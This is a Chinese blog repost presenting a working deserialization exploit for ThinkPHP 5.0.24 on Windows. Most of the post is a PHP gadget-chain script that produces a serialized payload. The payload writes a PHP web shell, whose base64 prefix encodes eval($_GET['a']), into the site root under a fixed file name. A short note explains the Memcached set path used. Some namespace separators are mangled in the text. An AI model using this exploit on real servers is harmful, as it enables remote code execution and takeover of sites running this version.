• ThinkPHP 5.0.24 反序列化RCE (Windows下EXP)


    直接上exp吧,Windows下。

    <?php
    namespace thinkprocesspipes;
    class Windows
    {
        private $files = [];
        public function __construct()
        {
            $this->files = [new 	hinkmodelMerge];
        }
    }
    
    namespace thinkmodel;
    use thinkModel;
    
    class Merge extends Model
    {
        protected $append = [];
        protected $error;
    
        public function __construct()
        {
            $this->append = [
                'bb' => 'getError'
            ];
            $this->error = (new 	hinkmodel
    elationBelongsTo);
        }
    }
    namespace think;
    class Model{}
    
    namespace thinkconsole;
    class Output
    {
        protected $styles = [];
        private $handle = null;
        public function __construct()
        {
            $this->styles = ['removeWhereField'];
            $this->handle = (new 	hinksessiondriverMemcache);
        }
    }
    
    namespace thinkmodel
    elation;
    class BelongsTo
    {
        protected $query;
        public function __construct()
        {
            $this->query = (new 	hinkconsoleOutput);
        }
    }
    
    namespace thinksessiondriver;
    class Memcache
    {
        protected $handler = null;
        public function __construct()
        {
            $this->handler = (new 	hinkcachedriverMemcached);
        }
    }
    namespace thinkcachedriver;
    class File
    {
        protected $tag;
        protected $options = [];
        public function __construct()
        {
            $this->tag = false;
            $this->options = [
                'expire'        => 3600,
                'cache_subdir'  => false,
                'prefix'        => '',
                'data_compress' => false,
                'path'          => 'php://filter/convert.base64-decode/resource=./',
            ];
        }
    }
    
    class Memcached
    {
        protected $tag;
        protected $options = [];
        protected $handler = null;
    
        public function __construct()
        {
            $this->tag = true;
            $this->options = [
                'expire'   => 0,
                'prefix'   => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4',
            ];
            $this->handler = (new File);
        }
    }
    echo base64_encode(serialize(new 	hinkprocesspipesWindows));
    

      会直接在根目录下生成一个shell。

      名字:8fba8bb6410a4aee90b063a8b7e78b73.php

      内容:

      

      相对liunx 的exp有什么不同呢?

      就是去:thinkphp/library/think/cache/driver/Memcached.php 类的 set 方法转了一圈。

      利用的挺巧妙地。

      参考链接:https://xz.aliyun.com/t/7310

  • 相关阅读:
    react.js从入门到精通(四)——组件的基本使用
    react.js从入门到精通(二)——变量的定义和初始化、事件的使用
    react.js从入门到精通(三)——生命周期钩子函数的使用
    react.js从入门到精通(一)
    第三篇 12306自动刷票下单-下单
    第二篇 12306自动刷票下单-查票下单
    第一篇 12306自动下单抢票
    DOM
    Html5标签
    在Windows中配置Rsync同步文件的方法
  • 原文地址:https://www.cnblogs.com/xiaozhiru/p/12452528.html
Copyright © 2020-2023  润新知